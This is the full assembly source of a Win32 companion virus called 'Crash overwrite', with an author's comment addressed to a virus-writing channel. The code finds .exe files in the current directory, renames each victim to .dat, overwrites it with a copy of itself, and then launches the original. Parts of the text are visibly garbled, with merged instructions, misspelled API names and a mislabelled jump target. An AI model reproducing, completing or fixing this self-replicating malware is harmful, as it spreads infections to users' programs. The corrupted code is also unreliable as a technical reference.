Comment *
Name: Crash overwrite :-)
CODER: Belial
TYPE: companies
Anything else: NO
This is my first win32 virus.its ONLY A
Companionvirus But It Does His Work Very
Well.its Perhaps Coded Not So Fine But
IM Sure Nody Will Care.it Infects All
Files in the Directory and Renames
The victimfile to .dat .perhaps i will make make
Infecting More Files ...
ITS WITHOUT PAYLOAD and Any Weapons :)
IT DOESNT INFECT DOS-FILES CORRECTLY.
Greetings to the whole #vx channel on Undernet
Belial
*
.386
.MODEL FLAT
Locals
Jumps
EXTRN FINDFIRSTFILEA: PROC
EXTRN FINDNEXTFILEA: PROC
EXTRN CREATEFILEA: PROC
EXTRN WRITEFILE: PROC
EXTRN READFILE: PROC
EXTRN GLOBALLOC: PROC
EXTRN GLOBALFREE: PROC
EXTRN EXITPROCESS: PROC
EXTRN WINEXEC: PROC
EXTRN COPYFILEA: PROC
EXTRN CLOSEHANDLE: PROC
EXTRN SETFILEPOINTER: PROC
EXTRN GETFILESIZE: PROC
.DATA
Max_path EQU 0FFH
False EQU 0
ChangeOffset EQU 094FH
Winsize EQU 01H
Filetime Struct
DWLOWDATETIME DWORD?
DWHIGHDATETIME DWORD?
Filetime Ends
Win32_find_data struct
DWFileAttributes DWORD?
FTCREATIONTIME FileTime <>
FTLASTACCESSTIME FileTime <>
FTLASTWRITIME FileTime <>
NFILESIZEHIGH DWORD?
NFILESZELOW DWORD?
DWRESERVED0 DWORD?
DWRESERVED1 DWORD?
CFILENAME BYTE MAX_PATH DUP (?)
Calternate Byte 0Eh DUP (?)
ENDS
FindFileData Win32_Find_Data <>
MEMPTR DD 0
Counter1 DD 0
FileHandle DD 0
FILSIZE DD 00001000H
Exefile db '* .exe', 0
MyName DB 'CrashoverWrite.exe', 0
DD 0
DD 0
Secbuffer DD 0
DD 0
DD 0
SearchHandle DD 0
DB '[crash overwrite] code by belir'
.code
Start:
Push Offset FindFileData
Push Offset EXEFILE
Call FindfirstFilea
Mov SearchHandle, EAX
Already_INFECTED:
Mov Eax, DWORD PTR NFILESZELOW.FINDFILEDATACMP EAX, 00001000H
JE FIND_NEXT_VICTIM
Mov Eax, Offset CFileName.FindFileData
JMP Find_DOT1
Find_next_victim:
Push Offset FindFileData
Push searchhandle
Call FindnextFilea
Test Eax, EAX
JZ Reanimate
JMP already_INFECTED
Find_dot1:
CMP BYTE PTR DS: [EAX], '.'
Je next_step1
Add Eax, 1
JMP Find_DOT1
Next_step1:
Add Eax, 1
Push EAX
MOV BYTE PTR DS: [EAX], 'D'
Add Eax, 1
MOV BYTE PTR DS: [EAX], 'A'
Add Eax, 1
MOV BYTE PTR DS: [EAX], 'T'
Mov EBX, Offset CFileName.FindFileData
Mov Eax, Offset Secbuffer
Find_dot2:
MOV DH, BYTE PTR DS: [EBX]
CMP EDX, 0
Je next_step2
MOV BYTE PTR DS: [EAX], DH
Add EBX, 1
Add Eax, 1
JMP Find_DOT2
Next_step2:
POP EAX
Push False
Push Offset Secbuffer
MOV BYTE PTR DS: [EAX], 'E'
Add Eax, 1
MOV BYTE PTR DS: [EAX], 'X'
Add Eax, 1
MOV BYTE PTR DS: [EAX], 'E'
Push Offset CFileName.FindFileData
Call Copyfilea
Push False
Push Offset CFileName.FindFileData
Push offset myname
Call Copyfilea
Open_VICTIM:
PUSH 0
Push 080h
Push 3h
Push 0h
Push 0h
Push 0C0000000H
Push Offset FindFileData.cfileName
Call Createfilea
Mov FileHandle, EAX
CMP EAX, 0FFFFFFFH
JE FIND_NEXT_VICTIM
GetMemory:
Push FileSize
PUSH 0
Call GlobalLoc; Get The Memory
Mov Edx, EAX
CMP EAX, 0
JE close_file
Push Edx
CopyInMemory:
PUSH 0
Push Offset Counter1
Push FileSize
Push Edx
Push FileHandle
Call readfile
POP EDX
Mov DWORD PTR MEMPTR, EDX; for Later USE
Add Edx, ChangeOffset
Mov Eax, Offset CFileName.FindFileData
MODIFY_VICTIM:
MOV BH, BYTE PTR DS: [EAX]
MOV BYTE PTR DS: [EDX], BH
CMP BH, 0
JE set_pointer
Add Eax, 1
Add EDX, 1
JMP modify_victim
Set_pointer:
PUSH 0
PUSH 0
PUSH 0
Push FileHandle
Call setFilePointercopy_to_file:
PUSH 0
Push Offset Counter1
Push FileSize
Push Memptr
Push FileHandle
Call writefile
Close_file:
Push FileHandle
Call Closehandle
JMP Find_Next_victim
Reamate:
Mov Eax, Offset MyName
Find_dot3:
MOV BX, Word Ptr DS: [EAX]
CMP bx, 'e.'
Je next_step3
CMP bx, 'e.'
Je next_step3
Add Eax, 1
JMP Find_DOT3
Next_step3:
Add Eax, 1
MOV BYTE PTR DS: [EAX], 'D'
Add Eax, 1
MOV BYTE PTR DS: [EAX], 'A'
Add Eax, 1
MOV BYTE PTR DS: [EAX], 'T'
Add Eax, 1
MOV BYTE PTR DS: [EAX], 00H
That_was_all:
Push Winsize
Push offset myname
Call Winexec
Final:
PUSH 0
Call EXITPROCESS
ENDS
End Start
